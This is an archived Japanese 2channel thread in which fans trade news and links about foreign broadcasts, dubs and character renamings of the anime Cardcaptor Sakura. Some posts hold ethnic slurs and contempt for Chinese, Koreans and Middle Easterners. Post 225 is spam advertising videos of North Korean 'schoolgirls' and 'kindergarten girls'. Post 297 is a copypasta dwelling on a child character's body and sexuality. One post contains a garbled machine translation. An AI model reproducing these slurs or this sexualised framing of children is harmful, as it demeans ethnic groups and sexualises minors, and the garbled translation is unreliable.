中国人や朝鮮人って嫌いだな。
なんで日本ばかりに意地悪するんだ。
さくらタンはみんなのものだぞ

175 :炉板通信:02/05/09 01:57 ID:vLyrjaBs
さくらたんが国産だというのは大いに誇れることだな

176 :CC名無したん:02/05/09 02:01 ID:KOKHAuR.
炉板通信さんはさくら好き?知世好き?

177 :炉板通信:02/05/09 04:02 ID:vLyrjaBs
どっちかというとさくら派
でもさくらと知世は不可分な存在だと思うのです

海外の方はそういうのどう判断しているのだろうな
まあ人それぞれなんだろうけど

178 :転載氏:02/05/11 10:44 ID:5ZMJFTtM
外人がかく、すこしHな知世ちゃん。
これ、ウッドカードにやられているんでしょうか?
http://pub7.ezboard.com/ftickling90930frm5.showMessage?topicID=3.topic

179 :CC名無したん:02/05/11 15:06 ID:AXDmjuxw
はにゃ〜んは素晴らしい

180 :転載氏:02/07/07 23:12 ID:K44iOhVk
http://www.amazon.co.jp/exec/obidos/ASIN/0439251877/249-3139900-9517930
小学生が使いそうな英語だった。

181 :アトラスたん:02/07/08 06:56 ID:G/5Ao3OI
ビデオCDはパソコンで見れるの?

182 :CC名無したん:02/07/09 23:54 ID:SOjaJgls
香港のopの曲、結構イイ!

183 :CC名無したん:02/07/10 09:15 ID:tsevpiCo
上海東方電視台版は、李小狼が王小明となってます。
証拠の記事見つけたらうpするよん。(自室が血祭邸状態なもんで)
で、
現地中国人ファンはこの改名に対し、とても怒ってました。
曰く「李くんは李くんだ、王ではない!」と日本語で。

184 :CC名無したん:02/07/10 09:22 ID:i4wqoQbo
>>181
観られるけど観れたもんじゃない(w

185 :ソシエ:02/07/10 19:32 ID:aHVVN6P6
>>183
なんで王なのよ?張学良も李から張に名前を変えて東北出身とばれないように
したっていうじゃない。

186 :転載氏:02/08/18 23:41 ID:N2gh+dCv
http://yasai.2ch.net/test/read.cgi/mmo/1024497865/591-624

ウルティマ・オンラインで、Sakura Kinomotoというキャラで、
CCSというギルドを作っている香港人がいるそうだ。

187 :CC名無したん:02/08/19 02:00 ID:rN1eUn2W
さくらたんの魅力はフランス人にもわかるらしいよ。
http://www.anime.com.ar/mp3/index.php

188 :CC名無したん:02/09/07 02:23 ID:pHkwKmL+
おもしろい。
もっと無いですか?

189 :CC名無したん:02/09/07 18:56 ID:edW0diQI
ここにも貼っておくか。
北米版さくら。
ttp://www.sakuradreams.com/


190 :CC名無しタソ:02/11/22 23:29 ID:Jki4VrGK
保守

191 :転載氏:03/01/02 13:17 ID:57QudaoQ
さくらが韓国版でチェリーになっていることについての韓国人の感想
http://bbs.enjoyjapan.naver.com/jphoto/read.php?id=enjoyjapan_11&nid=1166&work=search&st=content&sw=さくら&cp=1

192 :山崎渉:03/01/12 04:31 ID:aaYFeT04
(^^)

193 :CC名無したん:03/01/14 22:04 ID:EUeGHMVc


194 :CC名無したん:03/01/14 22:04 ID:EUeGHMVc


195 :CC名無したん:03/01/14 22:20 ID:VOkAaskK
140 :日出づる処の名無し :03/01/13 21:08 ID:gG/Nuf5f
ドイツのアニメサイト。いろんなアニメのOPがダウンロードできるらしいが、
なぜか今一番人気なのがガンダムSEEDの初期OP。

http://anime.4players.de/


141 :  :03/01/13 21:28 ID:yKGknDTb
>>140
異常なCCさくら人気だな。

196 :じろう:03/01/14 22:41 ID:J6+Lrnrp
CCさくらなんてどこがおもしろいんだか…

197 :CC名無したん:03/01/14 22:42 ID:EVQWvmqK
>>183
http://www.geocities.com/no_wxm/ar02.htm
激しく抗議しているようだ

198 :CC名無したん:03/02/09 13:21 ID:tkmrhXer
保守

199 :転載氏:03/04/06 21:03 ID:WCrn+/wN
>>197

すまない、うまく翻訳できない。
李小狼のうんざりした顔が、分の嫌だなという雰囲気が出ている。

200 :あぼーん:あぼーん
あぼーん

201 :あぼーん:あぼーん
あぼーん

202 :あぼーん:あぼーん
あぼーん

203 :山崎渉:03/04/19 23:54 ID:y5lLNCc4
   ∧_∧
  (  ^^ )< ぬるぽ(^^)

204 :CC名無したん:03/05/10 03:49 ID:AHhU/9Wo
ほしゅ

205 :山崎渉:03/05/28 10:15 ID:OWDXjN+b
     ∧_∧
ピュ.ー (  ^^ ) <これからも僕を応援して下さいね(^^)。
  =〔~∪ ̄ ̄〕
  = ◎――◎                      山崎渉

206 :CC名無したん:03/07/01 23:24 ID:7Rf6qg7v
一体なんなんだ<剣と魔法の世界(w>って!!
意味不明過ぎふざけんな。要するに言ってしまえばただの西洋時代劇だろ?
時代遅れもいいとこの平和な現代で何の役にも立たない意味不明の価値観。
平和じゃなくなったとしても剣と魔法ってなに?何のつもり?(w
何なんだその<強さとかレベルアップ>ってのは!!?(w
いい加減にしろボケゲーム業界、
本来はとっくの昔に剣をPCや工業マシンに持ち替え経済と産業で勝負すべき
現代の企業&工業戦士のたまご達を、訳も分からぬ幼少の頃から剣と魔法
などと言うわけのわからん<戦争&怪物虐待ゲーム>に勤しませ、
何の役にも立たない非生産的価値観を刷り込まれる少年達(俺含む)。

いい加減にしろ!!こりゃなんかの陰謀か!?そうさ!反体制の「過激派」がゲーム業界に
圧力を掛けて世界経済を崩壊させ戦争を起こそうと目論んでいるに違いない!!
なんてことだ...恐るべし左翼赤軍マインドコントロール!
とにかく異常だ。異常なんてものじゃない、極限だ驚愕だ異次元だ
漫画業界も昔より大分暴力ものは減ったしあってもヤンキーものだ。
ゲーム業界だけが燦然と異常な雰囲気を醸している。もはや完全に独自の孤立を保っている。
ゲーム関係者は少年の暴力にゲームは影響が無いと空虚に叫ぶ。
けどそんなレベルじゃねーだろ!暴力がどうとかそんな生易しいレベルか!!
少年の価値観を根底から異次元空間へ放り込んでいる自分達の悪行。
いい加減にしろ!!重ねた悪事の納め時だ!?バカヤロウどもが!


207 :山崎 渉:03/07/15 11:43 ID:ROUBHaSl

 __∧_∧_
 |(  ^^ )| <寝るぽ(^^)
 |\⌒⌒⌒\
 \ |⌒⌒⌒~|         山崎渉
   ~ ̄ ̄ ̄ ̄

208 :ぼるじょあ ◆yBEncckFOU :03/08/02 05:43 ID:IObhY8nl
     ∧_∧  ∧_∧
ピュ.ー (  ・3・) (  ^^ ) <これからも僕たちを応援して下さいね(^^)。
  =〔~∪ ̄ ̄ ̄∪ ̄ ̄〕
  = ◎――――――◎                      山崎渉&ぼるじょあ

209 :転載氏:03/09/24 03:27 ID:GngWitX1
ネタがはいった・

http://www.fukudiary.com/mt/archives/000206.html
ここによると
さくらは「ユ・チェリー」知代は「ジン・ジス(チス)」、桃矢は「ユ・ドジン」
雪兎は「オ・チョンミョン」だそうです。
さすがにケルベロスはそのままですが。

PS:
しかし、桃矢と雪兎の韓国名がなんかすごい。
ドジンとはなんだよ。野蛮なお兄さんか。


210 :(゚∀゚)あひゃひゃひゃひゃ:03/09/24 08:16 ID:tDN/i0id
香港にて見つけた子供用のリュック。
SAKURAの文字とケロちゃんの絵、
その下にどれみっちの絵が・・・(゚Д゚)
バービー人形の箱に、
ときメモのキャラの絵が・・・(゚Д゚)ハァ


211 :CC名無したん:03/11/24 19:27 ID:Uu6sthEH
ホシュ

212 :CC名無したん:03/12/10 06:03 ID:VQjWRuNU
いまさら「おしん」が人気番組になるイラク
さくらタンの笑顔を見せてイラク国内に萌えと平和と安全を!
これこそ日本の日本にしか出来ない国際貢献だろ?

213 :CC名無したん:03/12/10 09:23 ID:D78vGFrO
イラクって日本の何十年前だ?

214 :転載氏:04/01/07 20:17 ID:CqpfK90a
韓国のコスプレ、コリアニメから拾ってきた。
http://www.geocities.jp/ccc0099/03-11-30-2.html

215 :CC名無したん:04/02/08 06:43 ID:nJhTWWCg
「Card Capters」という北米版のさくら?の動画はどこで見られるのですか?
とんでもない作品だと聞いたので、一度見てみたいのですが・・・。
教えてください。お願いします。

216 :CC名無したん:04/02/08 06:48 ID:nJhTWWCg
すみません。つづりを間違ってしまいました。
「Card Captors」でした。重ね重ね失礼いたしました。


217 :CC名無したん:04/02/09 10:31 ID:36GL6K0m
140 代打名無し 04/02/02 22:47 ID:TriH5YBs
おまいら、李サンがやらかしましたよ。

ロッテ期待の「アジアの本塁打王」李スンヨプ選手が2日、キャンプ地鹿児島で取材陣の「日本の文化には興味がありますか?」という質問に対し
       「すごく興味がある、衛星放送でよく日本のアニメを見ていた。魔法のステッキを持った女の子がカードを集めるアニメが好きだった」
       おどろく取材陣に「君(取材者)は知ってる?」と質問を返し、「知らない」と答えた取材陣に延々と語り続けるオタク?な一面も見せた。       
さらに、笑顔で「チームメイトにはバカにされたよ」、と答え取材陣を和ませた

141 代打名無し 04/02/02 22:53 ID:O0CV6Ywe
アニヲタかよw

142 代打名無し sage 04/02/02 23:03 ID:p5GqIXVg
カードキャプターさくらの事か?

【56本】李スンヨプを応援するスレ【美人妻】
http://sports5.2ch.net/test/read.cgi/base/1075720252/l50
↑では、CCさくらの画像祭りですよ!

218 :名梨:04/02/10 13:08 ID:a9eMaQG1
韓国が名前を変えて流すのは、
日本人の名前だと、”日本は戦争犯罪国でガミガミガミガミ”って、言うから。
きっと、みんな日本製だって子と知らないかも

219 :CC名無したん:04/02/10 13:40 ID:A9zZCXRL
ちょっと前ぐらいにさくら板やハングル板なんかでは時々話題に
上ったことがある話だな。
高校生ぐらいの韓国人あにおたやアニメ見ている人で知っている人が
いるということが知られているが小学生ぐらいの認識というのは
あまり話題に上がらないな。
naverに来ているのも二十歳に近い年齢が多いだろうし。

220 :炉板通信 ◆mwhG4Chris :04/02/10 13:53 ID:1keZhtqJ
ユチェリに名前が変えられていても
向こうの人がチェリたんを見てはにゃ〜んとなればそれでいいと思うんだが

ところでチェリたんの声てどんなんだ

221 :CC名無したん:04/02/10 14:11 ID:5SWQsSC7
>>220
北チョン鮮のアナウンサーのおばさんの声だった

222 :CC名無したん:04/03/04 20:53 ID:FoHu3pYq
それにしても3年近く経ってようやく200レスって……

223 :CC名無したん:04/03/14 05:53 ID:bFaIsa0u
ツバサもまだアニメ化もされてないのに向こうでも結構な話題になってますよ。

224 :CC名無したん:04/03/18 00:56 ID:mfL8QQrk
さくらの正規物の海外版コミックって結構出てるんだけど、ちっとも知名度が上がら無いねぇ〜
アジアでは韓国、香港、台湾、中国、タイ、シンガポール、インドネシア。
欧州はドイツ、フランス、スペイン、イタリア、(ポーランド)。
アメリカはアメリカ、メキシコ、ブラジル、アルゼンチン。

取り合えず、珍しい所でアルゼンチンのを投下。
ttp://www.editorialivrea.com/mangaa.html

アマゾンジャパンでなぜか一時期取り扱ったみたいですが、
現在は慢性的品切れ状態のまま回復の兆しは一向に…


225 :CC名無したん:04/03/22 07:25 ID:Qykfrpys
サンプル動画あり■★■北朝鮮50分女子小学生 女子中学生 女子高
http://page6.auctions.yahoo.co.jp/jp/auction/f18429991
■★■北朝鮮美少女ビデオ:女子小学生女子幼稚園児 
http://page7.auctions.yahoo.co.jp/jp/auction/g16866383

226 :CC名無したん:04/03/22 17:20 ID:LVhaFgc8
英語版では最初の予定ではNikkiという名前になる予定だったらしい。
それを知ったコアな人たちが製作会社に文句言ってSakuraになったそうな。
でも苗字はAvalonだし他のキャラは英語風の名前だし、かえって違和感が・・・

227 :CC名無したん:04/04/06 22:34 ID:peQIHr1L
>>226
前から気になってるのだが…
 なんで、そのコアは人たちはSakuraしか守らなかったの?
 Sakuraだけじゃ無く全員改名されると普通思うんじゃ無いかと…

228 :CC名無したん:04/04/09 11:10 ID:YpWTxd5u
他のキャラは譲ってもSakuraだけは譲れない、そういう事だったんじゃないかと推測いたします。

229 :CC名無したん:04/04/10 00:29 ID:tqP3B8Gr
大至急ヒゲターバンどもの国に輸出しろ。


230 :CC名無したん:04/04/11 21:30 ID:vKpMEiPM
ttp://www.montada.com/archive/index.php/t-101504
名前は知ってるらしい。
まさか日本語のまんまカードキャプターさくらを
アラビア語ページ対象で検索してヒットするとは
思わなかったよ。

231 :CC名無したん:04/04/16 16:54 ID:7tAimx64
http://miraisu.ddo.jp:8080/2ch/index.cgi

三国志時代にさくらたんが!!



232 :CC名無したん:04/04/30 23:30 ID:ONS5zYY5
風俗ではさくらのコスプレで。

233 :CC名無したん:04/06/11 23:02 ID:Z53edcp7
ほしゅ

234 :転載氏:04/06/27 22:45 ID:yu/TW259
世界コスプレサミット2004
http://www.tv-aichi.co.jp/event/cosplay2004/

いまのところ、ちょびッツはあるがCCさくらはないなあ。


235 :CC名無したん:04/06/27 23:16 ID:isyLn4SV
http://www.frozen-wings.net/ccs/

236 :CC名無したん:04/06/27 23:18 ID:isyLn4SV
http://photo.21cn.com/starchannel/AlbumShow.php3?IP_ALBUM_ID=209910

237 :CC名無したん:04/06/27 23:29 ID:isyLn4SV
http://www.screensaverkorea.com/show_item.php?category=cartoon&id=49

238 :転載氏:04/06/28 00:31 ID:ueiLUIYZ
ID:isyLn4SVさん、情報ありがとう。

239 :CC名無したん:04/06/28 22:25 ID:2BuNqyiZ
http://www4.ocn.ne.jp/~tmf00a/05022001.htm
小狼はゲイなのですかだってさ

240 :asuna:04/06/30 17:57 ID:5/ytbjUB
しらん

241 :ari:04/06/30 18:52 ID:vI31j9TQ
>>239
ちゃんと漫画を読めば分かると思うんだけどなあ・・・。

242 :CC名無したん:04/07/28 23:47 ID:ud8ApNb1
出張で台湾に行ってきました
ホテルでチャンネル回してたら、放送してましたよCCさくら
YOYOTVというケーブルテレビで(たぶん)平日毎日夜11時から
絶賛放送中です。おおきなお友達も安心してゆっくり観られる時間帯です
タイトルは「庫洛魔法少女U」だっと思います(Uなのはたぶん
さくらカード編だったから)ちなみに31日に劇場版を放送するそうです。
ちなみにさくらは「小櫻(しゃおいん)」、ケロは「小可(しゃおか?)」
月は「審判者(発音不明)」に名前が変わってました。その他はだいたい
同じだったと思います(ただし発音は中国語読み、知世は「ちーしぇ」だったような)
OPEDは日本版そのままでした、中国語字幕も無し。
仕事ですさんだ心もハピーになりました。

243 :CC名無したん:04/08/08 10:56 ID:ZWveLWQx
台湾の2chらしい
http://www.comic.com.tw/mini02/
そこのさくら板(庫洛魔法使)
http://www.comic.com.tw/mini02/sakura/

244 :CC名無したん:04/08/16 13:30 ID:9aoN6yeL
Sakura-tan ( ;´Д` )huff huff

245 :CC名無したん:04/08/26 00:46 ID:oTD9nn3K
今さらながら、広東語吹き替え版にはまりました。
35話までと36話からでは声優さんが変わってましたね。
35話までは子供っぽい声で、36話からは少し成長したっぽい声で、
両方ともいい感じです。知世はオバさんくさくなりましたが。

カードを投げて呪文を唱えるとき、最初に「ハアッ」と気合いの
かけ声を出すのが香港っぽくて気に入ってます。
「レリーズ」は「ガイチョイフォンヤン」(解除封印)と言ってました。

小狼の羅針盤を使うときの呪文も日本語より広東語の方が
合っていたような気がします。

主な登場人物の名前は以下のようでした。

木之本桜(さくら):モッチープンイェン(シウイェン=小櫻)
大道寺知世:ダイトウジチーサイ
月城雪兎:ユッセンシットウ
李小狼:レイシウロン
李苺鈴:レイムイレン
観月歌帆:クンユッゴォファン
エリオル:エリンゴンロウ
ケルベロス(ケロちゃん):ケロベロスィ(ケロチャイ)
ユエ(月):アーユッ(阿月)
クロウ・リード:クウロウ・レイトウ
ルビームーン:ローベイユッ
スッピー:スッペイ

246 :CC名無したん:04/08/30 16:05 ID:RMRJOGT8
>>243
すげー

247 :転載氏:04/11/14 02:45:32 ID:Gj/JI5JE
ドイツの子供が描くCCさくらのイラスト。
http://animexx.4players.de/fanarts/thema.phtml?id=18&


248 :CC名無したん:04/11/26 03:59:16 ID:wT5LVzGp
Cardcaptors OP
ttp://www.geocities.com/tomoyo_ichijouji/cc-clips1.htm

249 :CC名無したん:04/11/26 04:07:50 ID:h0YBnGF1
 

250 :CC名無したん:04/11/26 04:31:24 ID:bLI335fn
おいお前ら キモイから氏ねよ

リアル♀相手されないからって2Dではぁはぁしてるんじゃねえよ
あと人殺しはやめてください。


251 :CC名無したん:04/11/26 23:43:52 ID:wT5LVzGp
と、犯人は申しております。

252 :CC名無したん:04/12/11 02:49:40 ID:lZNbjco2
さて・・・

253 :CC名無したん:05/01/01 02:44:59 ID:SzHICMX0
ふむ・・・

254 :CC名無したん:05/01/10 22:18:51 ID:peCTMhei
そいや地震だいじょぶだったのかね

255 :CC名無したん:05/01/18 02:45:43 ID:gUMOmlS30
お〜い

256 :CC名無したん:05/01/23 21:29:53 ID:ZjKQWc9k0
ドイツでCCさくらを見たのは2003年冬だった。
タイトルは Card Captor Sakura とそのままだが
ドイツ語なので名前は「ざ・く−ら」と濁る。
「ほぇぇ」は「ヴァ−ス(何?)」
初期EDは日本とそっくりだが、最後の あ−る あ−る あ−る の部分が
ダンケ シェ−ン ダンケ シェ−ン ダンケ シェ−ン だった。
コミックスも出てるけど、ドイツの日本漫画コミックスには珍しく
左からペ−ジを開いていく日本と逆印刷タイプ。
普通のドイツ版日本漫画は日本と同じ右開きでセリフもそのままの代わりに
最後のペ−ジにコマの読み順が書いてある。

257 :CC名無したん:05/01/24 19:28:41 ID:BYng6Yqd0
さくらたんが シャイセ とか ヤポール て言うの?

258 :CC名無したん:05/01/24 19:48:21 ID:cGWhRJWb0
仕事とかで行ける人は良いよなぁ

259 :CC名無したん:05/01/24 20:06:05 ID:UqnYKoyr0
香港版では「アイヤー」って言いますよ。

260 :CC名無したん:05/01/24 22:00:03 ID:enfQWpmP0
カイジュウ

(チクショウ・・・イツカコロシテヤル)

261 :256:05/01/26 22:17:38 ID:neGL1In20
>>245
私も香港へ出張したときは空港でアニメ版コミックス「百戀小櫻」を買ってきた。
(正しくは戀の字ではないけど)日本と同じ右開きで、35HKドル。
これには「跟迩訂下約定的小櫻命令迩 封印解除」とか
「以迩的新主人 小櫻之名!」といったセリフが書いてある。
(迩も正しくは「にんべん」ニイハオのニイという字)
スッピ−は「雪比(史分尼露)」と書く。
ドイツ語版もアニメ版コミックスだと日本と同じ右開き。
出張の度にこんなことをしている私は...。

262 :CC名無したん:05/01/26 22:44:07 ID:X/YsN7Ta0
>>261
百變小櫻ですね。
「變」は「変」の旧字です。
読み方は広東語では「バービンシウイェン」、北京語では「バイビンシャオイン」です。

マンガの方は、アニメとはだいぶ使っている文字(言葉)が違うようですね。
スッピーはアニメ版では「斯比」と書いて「スッペイ」と読みますが、マンガでは
「雪比」なので「シュッペイ」ですね。
スピネル・サンも「史椏露・太陽」で「スィーファンネールー・タイヤー」と言ってます。

263 :CC名無したん:05/01/29 02:57:59 ID:+7T1sruQ0
にゃお♪

264 :CC名無したん:05/02/12 02:52:41 ID:a5w0gUSu0
ねこ好き

265 :CC名無したん:05/02/23 02:45:18 ID:bkGNf37d0
ねこの日も終わりぬ・・・

266 :CC名無したん:05/02/25 06:58:34 ID:O3ZeRuVe0
ttp://www.pummeldex.de/downloads.php?cinfoid=9586
独版さくらED。


267 :CC名無したん:05/03/16 02:41:09 ID:AL1dxPQv0
☆u

268 :CC名無したん:2005/04/23(土) 02:47:40 ID:+ZWJWJyJ0
干す

269 :CC名無したん:2005/06/01(水) 07:55:43 ID:4x0jrGbE0
払子

270 :CC名無したん:2005/06/18(土) 23:50:39 ID:4LXe4/ri0
一般人の反応ではなくさくら板住人的な海外の人の好感度を知りたい

271 :転載氏:2005/06/30(木) 03:53:08 ID:QY1YqVzW0
うーん、海外のエロ同人誌を見たことないな。あれば、見てみたい。

272 :CC名無したん:2005/06/30(木) 13:39:02 ID:1O/UWHZf0
>>271
探せばありそうだけどね。

273 :CC名無したん:2005/07/09(土) 23:21:08 ID:M5k5IPs40
先週ドイツに行っていて、7月7日に帰ってきたけど
7月2日(土)の朝8:30からCCさくらをやってた。
26話「さくらとすてきな先生」(神社で迷路に迷って観月先生が助ける話)
今日は27話を放送したかな。
お守り買うのを忘れて
マイリーン「マイナモレ」ザクーラ「マイナモレ」ハー(ため息)
ミズーキ「ハロー」(もちろんマイリーンはメイリン、ザクーラはさくら)

274 :CC名無したん:2005/07/27(水) 03:17:52 ID:M+Sr7vLA0
「ほえー」が「Was」とはカナシス

275 :CC名無したん:2005/08/02(火) 00:09:12 ID:KGmzb5OC0
ヴァス

276 :256・261・273:2005/08/13(土) 08:52:13 ID:Jmw6+5AO0
ドイツ・フランクフルトで同人誌を買ったけど
エッチが絵が無くても
Hentai Dojinshiって書いてあるんだもんなあ。
価格も9.95ユ−ロもする。
結局AnimeとHentaiとMangaは同次元で語られる単語ということか。

277 :CC名無したん:2005/08/29(月) 16:20:41 ID:jzLUwzoG0
貴重情報ありがとう。
日本のような中身だと逮捕だよ。

278 :CC名無したん:2005/09/04(日) 16:10:55 ID:KHQ37NSm0
>>276
ヘェーヘェーヘェー

それってドイツの人が描いたやつですよね。
内容とか絵とかはどうですか?
日本の同人誌とあんまり変わらないのかな。

279 :CC名無したん:2005/09/27(火) 14:31:03 ID:XnL6O9Yr0
てかインドネシアって何処よ。
害人はさくらタンに関わるなや

280 :CC名無したん:2005/11/06(日) 15:43:00 ID:CR2QDxNLO
しかし、CCSが世界中に広まるのは良い事じゃないか?
主人公の名前が日本の花の「さくら」
そして戦闘シーンがありつつも日本の小学生から見た恋愛や平和な日常があるから誰でも見易い。
これに目を付けたハリウッドがやっちゃうんじゃなかろうか?
やっちゃったとしたら、機関銃を乱射したり、何百人もの黒付くめの男達を次々と薙ぎ倒すさくらが見れるぞ。

281 :CC名無したん:2005/11/11(金) 23:02:48 ID:8wSMnqVjO
海外でやる場合、全て日本と全く同じで吹き替えか字幕が出のとその国で御法度なシーンをカットする程度で良かったのに……

282 :CC名無したん:2005/11/11(金) 23:51:57 ID:1CD3oCre0
ttp://page8.auctions.yahoo.co.jp/jp/auction/h30345230
コレ買えば見れる
折れはコリアサット3Kuの頭文字Dの吹き替え&字幕番昔見てた
ttp://homepage3.nifty.com/maaberu/sat.htm
↑のページ見てたら急にチューナー欲しくなってオクで購入

283 :転載氏:2006/02/06(月) 20:58:28 ID:17op/SNm0
韓国語吹き替えののさくらたちの声が聞ける。
http://www.youtube.com/w/Korean-Cardcaptor-Sakura-Clip?v=WBE4KCCvwSA&search=korean

284 :CC名無したん:2006/03/03(金) 12:20:34 ID:miW0tjgD0
やっぱ海外でもさくらは人気だな

285 :CC名無したん:2006/04/30(日) 03:37:19 ID:zhcxBuKT0
フランスに行った時やってたぞ!
OPはフランスオリジナルで「う〜ら ららららら〜 う〜ら ららららら〜 」
って延々と歌ってるようなやつだった(;´Д`)
ありゃ何だったんだ!

286 :CC名無したん:2006/05/12(金) 14:10:15 ID:F+KZTizb0
ほす

287 :CC名無したん:2006/05/12(金) 21:18:16 ID:i1Hme1Pu0
これって”TV局限定モノ”なの?
http://page13.auctions.yahoo.co.jp/jp/auction/r17452297
どう見ても下敷きを額縁に入れただけにみえるのだ。
鑑定キボンヌ


288 :CC名無したん:2006/05/13(土) 13:16:07 ID:ynNB+7lR0
【海外/研究】女性は男の顔を見るだけで子供好きかどうか判別する 良いパパを選別か
http://www.usfl.com/Daily/News/06/05/0512_020.asp?id=48475

ロリコンはすぐに見抜かれるってこった。


289 :CC名無したん:2006/05/13(土) 18:13:19 ID:DtGNDhF6O
「ほえ〜」て海外では何て言ってるんだろ?

広東、香港→あいやー
ドイツ語→was(ヴァース?)

「あいやー」可愛いw

290 :CC名無したん:2006/05/14(日) 15:58:02 ID:3puBlbRB0
> あいやー
NEC PC スーパープレミアムボイスとかいうの思い出した

291 :CC名無したん:2006/05/14(日) 21:34:18 ID:HKeu90rK0
海外ヲタがCardcaptorsのオープニングを再現(w

http://www.youtube.com/watch?v=dpbECw4JT5E

292 :CC名無したん:2006/05/23(火) 15:59:32 ID:5lTn2EOg0
>>44って英語版の動画を見れたの? もう見れないみたいなんだが、
誰か、英語版(できれば、op)を知ってる人、URLを教えてやって
くれないか? Google検索したんだが、わからなかった

http://www.google.co.jp/search?hl=ja&q=cardcaptorsakura+opening&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=

 (´Д`;)ヾ
   ∨)    オネガイシマス!!
   ((

293 :CC名無したん:2006/05/23(火) 16:21:55 ID:oKZ5XnM+0
英語版って、北米版のCARDCAPTORSの事か?
それならこれだな。

http://www.youtube.com/watch?v=gVPpeNcMN7g
http://www.youtube.com/watch?v=I_f_uXOMwa8

294 :292:2006/05/23(火) 16:27:26 ID:5lTn2EOg0
>>293
早速のレス、アリガトー!! これで、英語歌詞の字幕が出てたら、もっと
面白いのにな♪

295 :CC名無したん:2006/08/12(土) 13:09:25 ID:jR8eWfDd0
CCさくらについてのレーティングの扱い

http://www.themanime.org/viewreview.php?id=92
Rating: Y7 (fantasy violence)
http://www.themanime.org/viewreview.php?id=908
Y7 (mild, clipped fantasy violence)


テレビ-Y7(7歳未満非奨励)

子供には、だれが開発上の技能を取得したかが空想と現実を見分ける必要があったのは、より適切であるかもしれません。
このプログラムにおけるテーマと要素は、温和な幻想か喜劇的な暴力を含んでいるか、または7歳の下に子供を怯えさせるかもしれません。
したがって、両親は彼らの非常に幼い子供のためにこのプログラムの適合を考えたがっているかもしれません。
注意: 幻想暴力が同じカテゴリにおける他のプログラムより激しく、例えばpaticularlyに激しい司法のLeague Unlimitedが好きであるかもしれない
それらのプログラムにおいて、そのようなプログラムはテレビ-Y7-FVに指定されるでしょう。
指定されたテレビ-Y7が「すごく」いくつかの温和な嫌な言葉を含むかもしれないいくつかのプログラムと「地獄。」
テレビ未成年者不適当映画に登用されないなら、宗教参照も自動資格です。


296 :CC名無したん:2006/08/16(水) 22:18:02 ID:4Jkinm+Z0
ほしゅ

297 :CC名無したん:2006/08/18(金) 22:24:42 ID:c7jmw0ci0

やめろ!キョンの妹はまだ子供なんだ!
夜は9時までにぬいぐるみ抱きながらひとりで寝るんだ!ないと寝れないんだ!
寂しがりやなんだ!お気に入りのオルゴールを聞きながら寝るんだ!
暗くなると怖くて泣くんだ!男の子見ると恥ずかしくて照れちゃうんだ!
ほっぺが赤くなってかわいいんだ!キョンの妹は勉強で疲れてるんだ!
でも弱音はかないんだ!頑張りやさんなんだ!うんこするわけないんだ!想像できない!
汗もかかないんだ。出るのは涙だけなんだ!よだれなんてしないんだ!
鼻毛なんてないんだ!腋毛もないんだ!あそこの毛もないんだ!脛毛もないんだ!
背毛もないんだ!尻毛もないんだ!腹毛もないんだ!ひげなんか生えてないんだ!
処理する必要もないんだ!子供にセクシィなポーズは似合わないんだ!
不器用だからできないんだ!キョンの妹のパンツはしろなんだ!!
染みなんてないんだ!黒なんてもってないんだ!Hな声なんて出さないんだ!
出せないんだ!出るわけ無いんだ!電車にひとりで乗れないのに男に乗るわけないんだ!まだHな事知らないんだ!
キョンの妹はお兄ちゃん思いなんだ!キョンに変なことしたらが許さないんだ!
キョンのお弁当を作ってあげてるんだ!おいしいんだ!料理上手なんだ!優しいんだ!
キョンの妹はママが好きなんだ!ママの作るオムレツが好きなんだ!
ママに変なことしたら泣いちゃうんだ!家族が大切なんだ!
中年デブの不細工なここの住民がキョンの妹を怖がらせたら駄目なんだ!
優しいキョンの妹で変なこと考えたら駄目なんだ!


298 :CC名無したん:2006/08/18(金) 23:07:12 ID:E3Nw9HIJ0
             __ __ _
.        _ , '"´  ,. _ ___`丶、
       / ` /  /´-‐ァー-ヽ \
.      / /下7 ..///.:.::/ .:.:ト、 ヽ     この板は立った今からハルヒ板になったわ
      / └イ_j/ .://;へ、/!.:.::/:.}ヽ ',
     ,'  ///!l .::j.:lイ仔くヽ/,.イ,.ム:.', l
    ,   '〈/f`| l ::l`' ゞゾ '´ rャjノ::.l:. |     元の住人はとっとと出て行きなさい
    |  l:l :!:{、| l ::|        マソハ: |:: |
    |  l:l::i个| l ::l!     l⌒ヽ′} .:}:.l:: l
    |  lハ:l::{::', ::::{、   ヽ.ノ  /.:/::.l:: l
    l !:|:::',::',::ヽ:::ヽ\._    /.:/::::/l::;!
.     ',::{:{、:::ヽ\:\;ゝ `「:フ´!::::/;:::/ 〃
.     ヾハj>''´ ヽ ト、_..上くイ::::{ {::{/              |ヽ |     |_    「 〉
    /⌒ヽ、\ ` \-ー ̄\ヾ                 ⊥ 人_  _|_    |/
   /     ヽ \\    \´ ̄`ヽ、                            O
.   l     ',  \\   \  __| \
.   |      ',   \`ヽ、  ∨n| } ト、


299 :さくら保守党 ◆CCSAkf.0RA :2006/10/22(日) 21:53:41 ID:JDdJj6mT0
インドネシアではまだCCさくらは人気なのでしょうか…、保守。

300 :CC名無したん:2006/11/23(木) 23:11:33 ID:QN7ATBMq0
>>299
Google Trendsによれば"card captor sakura"でググられてる順位は9位
ttp://www.google.com/trends?q=card+captor+sakura&date=all&geo=all&ctab=1&sa=N

この順位表から中南米・東南アジアからググられてるのが多いことがよくわかる
あっちの方の国々で放映されてるってことなんだろうか・・・今年に入って検索件数増えてるみたいだし

301 :CC名無したん:2006/12/29(金) 22:40:22 ID:Le1saMyt0
あちこちの国で放映されてるんだな

61 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)